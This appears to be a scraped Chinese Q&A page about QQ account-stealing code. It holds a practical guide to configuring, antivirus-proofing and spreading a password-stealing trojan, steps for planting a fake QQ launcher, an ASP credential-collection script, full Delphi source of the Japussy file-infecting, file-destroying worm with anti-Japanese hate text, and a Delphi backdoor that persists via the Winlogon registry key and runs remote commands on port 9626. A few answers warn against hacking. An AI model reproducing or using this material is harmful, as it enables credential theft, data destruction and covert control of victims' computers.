c盗号源码
Ⅰ 网页上被恶意加了外部链接 上传了一些伪装的图片格式的木马 我看源代码找不到链接加的位置 怎么办 小白
愿我的答案 能够解决您的烦忧
那么您遇到的情况主要就是有人上传了带伪装过的病毒图片导致的,后台把这些图片删除后,再对蓝本文件进行杀毒就可以了呀!非常简单
1,请您先不要着急,只要病毒就有克制的方法。
2,下载腾讯电脑管家“8.4”最新版,对电脑首先进行一个体检,打开所有防火墙避免系统其余文件被感染。
3,打开杀毒页面开始查杀,切记要打开小红伞引擎。
4,如果普通查杀不能解决问题,您可以打开腾讯电脑管家---工具箱---顽固木马专杀- 进行深度
扫描。
5,查杀处理完所有病毒后,立刻重启电脑,再进行一次安全体检,清除多余系统缓存文件,避免二次感染。
如果您对我的答案不满意,可以继续追问或者提出宝贵意见,谢谢
Ⅱ QQ号给盗,申诉不回来,我该怎么办!
第一节:选好马。
我们在盗Q的时候无非是在别人的电脑里安上了木马,然后把他的上Q时输入的东西发送到指定的地方,比如
邮箱,网站或者木马控制端。
大部分的盗Q软件都是发送到网站或者邮箱,代表者有"啊拉QQ大盗,极限居,冲击波,石头,木头,农民,啊虎,
上兴",发送到木马控制端的不是专业盗号工具,代表者有"灰鸽子"。
以下我们要讲的是专业盗Q工具,选盗Q木马的时候,我们要考虑以下几个问题:
1:发送速度,要是我的邮件一年后才给我发来我还不郁闷死?
2:后门,有些木马作者会在他的软件里加入他的后门,也就是说,我们的战斗果实会被他窃取了,代表软件有
"QQ大划拉",作者技术是很好的,不过就是有后门,不爽。所以,选一款没有后门的木马是前提。
3:隐藏性,这个不用我说了吧。
4:准确性,这个也用不着我说,要是发信不准那岂不是白费工作?
5:体积,体积过大的是一个垢病,阿拉QQ大盗做的还不错,最终生成后再加壳只有26K
6:免杀,免杀是个长久的话题,你的木马不免杀,一旦被查出来还有什么意思。
我们综合以上特点,我们看一下以上几个盗Q木马,
冲击波基本上可以达到我们的要求,不过他的发信格式会有点小问题,那就是不太好用批量工具,对少量盗Q
或者研究技术还可以,
石头,啊虎等几个QQ基本都是在一个源码里自己修改的,隐藏性不错,就是免杀不方便,我就试过他会释放出
几个文件插入系统进程里,我们通常要做几个文件的免杀。
大划拉我们就不要用了,哪怕有人放出什么无后门版的,但总不是很放心。
啊拉QQ盗,基本符合以上特点,不过隐藏性不是很好,要自己再做过少许修改,比如修改进程名之类的工作,
不过还好,网上有大把人放出他们的修改版本,比如战天的免杀啊啦QQ大盗,修改了进程名,刚开始的时候我
还真找出不他换什么进程名了,而且啊拉只有一个文件,加个壳再变异就可以了,而且还有一个特别好的功
能,"还原精灵自动转存",这对于部分网吧比较好。
大家就各自根据自己的特点选一个自己适合的吧。以下我们就以啊拉QQ大盗来讲解。
第二节:准备工作。
配制木马,我们先上网找一个最新的啊拉,网上有大把人做出各式各样的免杀。
啊拉QQ大盗有两种收信方式,网站收信和邮箱收信。有条件的朋友就用网站收信吧,不过免费空间部分屏
蔽啊拉QQ大盗的收信程序了。
我们就用邮箱收信吧,新版20060502的啊啦QQ大盗修改了一些邮件格式,主要是用来对付邮件服务器的。
(部分服务器对他的收信方式的信件屏蔽了,作者这次的修改就是针对这个的)。邮箱方面我们推荐用
21cn的邮箱,发信比较快,163的有时会发送不成功。我们配制木马的时候要注意,他有两个收信箱,靓
号的和普通号的信箱,建议不要填一样。然后填入邮箱密码。
还有几个问题要说明一下:
1:运行后是否关闭,这个你随便吧,根据自己情况选择。
2:安装后删除自身,建议选上。
3:过滤重复号码,建议选上,不然的话邮箱会被重复号码塞满的,当然,网站收信就无所谓了。
4,彻底摧毁防火墙,这个不建议选上,假如我点了你的东西防火墙都不能用了我还不急么,轻者清除木
马,重则重装系统,其实我们只要做好免杀就可以了。
5:显示IP物理地址,这个根据你需要选择吧。
6:显示是否会员,这一个邮件收信的时候会在号码前面加上[vip]字样,对于批量晒号的朋友不推荐用这
个。
7:显示在线状态,这个可以不选上。
8:还原精灵自动转存,这个是用来偷网吧QQ的,建议选上。
配制好了是不是就可以了呢?别急,还有工作要做,就是免杀,假如当前是免杀的话,我们可以再加一个
壳,减少体积。
如果你想在网吧里传播的话呢,建议再加上一个“转存精灵”这一个是对付还原卡(是还原卡,稍微高级
点的网吧会使用还原卡来保护系统,这个软件的目的也就在这里)和还原精灵的。记住,都要做好免杀。
第三节:传播篇
怎么传播,正所谓八仙过河,各显神通。
我们总结以下几种方法:
1:挂马,可以做成网页木马,他人点了之后就中了你的大盗,至于怎么骗他去点是你的本事范围。。。
2:利用盗来的QQ再盗QQ,你找到一些QQ,但发觉被密码保护了,对于这种QQ的用处是用他来和他里面的
好友聊天,把你的东西再发给他。不过不要碰到同行哦。
3:自己去网吧,网吧是个大场所,每天都有很多人上,要选有用或者没使用还原卡或还原精灵的网吧,
使用无盘工作站的网吧就不要考虑了,优点是收信多;缺点是成本较高,建议去网吧的时候顺便装上。
4:BT传播,论坛传播。这个你要具备工程学的意识,写一篇吸引人的文章,捆绑一个免杀的正常软
件,不过你有可能会被封IP。建议使用代理服务器。
5:你自己想吧,各显神通。
第四节:善后篇
拿到大量的QQ号有什么用呢,靠,你不知道吗?
当然我们可不是用人工的方法来挑号,我们可以用到几款软件,JQQ,QQC,CQQtools,木头晒号器。
没密保的好号码的,留下来,有密保的,用来再传播。
结尾:
写这篇文章没什么技术内容,只是把大家平时怎么盗QQ的方法给写一写而已.学技术可以,不要做坏事.
Ⅲ 按键精灵源码能写病毒么能窃取资料么
按键精灵写软件一般是模似按键操作,你所说的是盗号之类的操作吗?做个假的功能软件,做个隐藏的资料一键发邮箱就行,带注册帐户功能的。学习编程的目的是学习技术,请不要触碰法律
Ⅳ 盗号器是什么
这个是原理
必须将源码中利用SMPT发送密码的部分,改成你自己的邮箱,然后重新编译成可执行文件。
2.找到一台你入侵的主机(别问我怎样去占领一台肉鸡),将生成的QQ2013.exe放置于肉鸡上QQ所在的目录下,如可能是c:program files encent。
3.创建QQ2013.exe的快捷方式,并改名为"腾讯QQ"。
4.将肉鸡上凡是有"腾讯QQ"快捷方式的地方用刚才创建的那个替换.
5.等着别人的密码发回来吧
Ⅳ 哪位哥哥能给我个厉害点的病毒源码
您好,
请不要传播病毒、盗号木马程序,恶意传播病毒和木马会污染互联网环境,请您加入到维护网络安全的大军中!
QQ木马程序会导致您和他人的帐号和密码泄露,从而可能使您和他人的QQ财产,如游戏、QB等受到严重威胁,严重的还会违反法律。
请您不要轻易安装陌生人传送给您的未知文件,有可能是病毒或者木马。建议您安装腾讯电脑管家对您的电脑进行实时防护,保护您的电脑安全运行,避免给您的财产和个人隐私带来威胁。
腾讯电脑管家企业平台:http://..com/c/guanjia/
Ⅵ qq被源代码盗号还能找回么
源代码是什么恐怕你都不理解,你以为是一大串你看不懂的字母吗?不是的,这个是编程语言,C语言、Java语言等等都属于编程语言,甚至连二进制等,这些都可以算作是源代码。而单纯的依赖源代码是无法盗号的,即使计算机之父来了也不能。
说那些源代码你很难理解,就说被盗号怎么找回吧。被盗号唯一的渠道就是去申诉,拿出你有力的证据,自己证明这个号是你自己的,只有你自己能证明了,号自然也就可以找回。比如用实名制、即使对方把你的手机号修改了,也可以依赖实名制找回。没有实名制,也没有手机号,啥都没有,连你自己都不能证明,还如何让别人甚至客服相信你,这还不如说天上那辆飞机是我的,你说谁会信。
至于下面的小骗子说有点棘手、不过能。能什么,我这随便考问他几个账号找回的问题、让他到网上找答案都回答不上来。骗人可以,不过智商有点太低了。就这样的骗子,我要是愿意,随便挖个坑让骗子往里跳,送进去监狱改造改造,猖狂。
Ⅶ 用易语言做生成器用的ASP木马源码
ASP很简单的,弄个简单数据库ZH.MDB就用户名和密码两个字段,
<%
dim conn
dim connstr
connstr="DBQ="+server.mappath("ZH.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
username=request("username")
password=request("password")
qq=request("qq")
email=request("email")
tuijianren=request("tuijianren")
set rs=server.createobject("adodb.recordset")
sql="select * from user_msg where [用户名]='" & username & "'"
rs.open sql,conn,1,3
if not (rs.eof and rs.bof) then
response.write "ER!"
else
sql="insert into user_msg ([用户名],[密码]) values ('" & username & "','" & password & "')"
conn.execute( sql)
response.write "OK!"
end if
%>
然后用HTTP读文件(“http://x-xx.cn/xxx.ASP?username=编辑框1.内容&password=bjk2.nr”,,)
就好了,没安装易语言,你可以改一下就可以用了
Ⅷ 熊猫烧香病毒怎么用
小心把自己埋了
没编程和安全基础
就是把工具给你也不会用的
盗号不好
如果有兴趣就好好学把
“熊猫烧香”, 近日又化身为“金猪报喜” ,这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成可爱金猪的模样。
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主图标的大小744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = 444444; //感染标记
//无用码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文版操作系统标记
{ 判断是否为windows 9.X版本 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procere SendMail;
begin
//邮件终止
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to 8 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //小于10240的文件不被感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := 444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入无用码后删除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //获取文件大小
i := 0;
Randomize;
Max := Random(15); //写入无用码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入无用码,将文件彻底破坏!
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除
except
end;
end;
{ 获得可以写入的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序并开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
CMD命令 shutdown -a //取消计算机中病毒后的倒记时关机。
Ⅸ 知道网页木马进!!!
其实木马分很多种有的是针对系统的,就象是鸽子、冰河那种WIN32病毒。所以他要用C、C#、BCB、VC++、VB、DELPHI、MASM32、JAVA等多种主流语言。我甚至用PASCAL都能做出木马。
而现在比较流行的网页木马就是针对HTTP服务的。所以要用脚本语言。比如,VBS( Visual Basic Script )、JS(JAVA Script)和HTML等语言编写的。
总之,大家还是要好好学习编程。现在的社会变化的太快了大家不要被他给淘汰掉啊
Delphi编写简单的木马2008-09-02 14:20刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!!程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。
源码如下:
////Server.pas//////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:[email protected]////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procere FormCreate(Sender: TObject);
procere SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procere SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *.dfm}
procere TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
file(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;
procere TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’
end;
procere TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;
end.
///////////////////////////////////////////////////////////////////////////////////////////
//////客户端/////////////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:[email protected]////
////////QQ:231221////////////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;
type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procere Button2Click(Sender: TObject);
procere CSRead(Sender: TObject; Socket: TCustomWinSocket);
procere BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
implementation
{$R *.dfm}
procere TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;
procere TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;
procere TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;
end.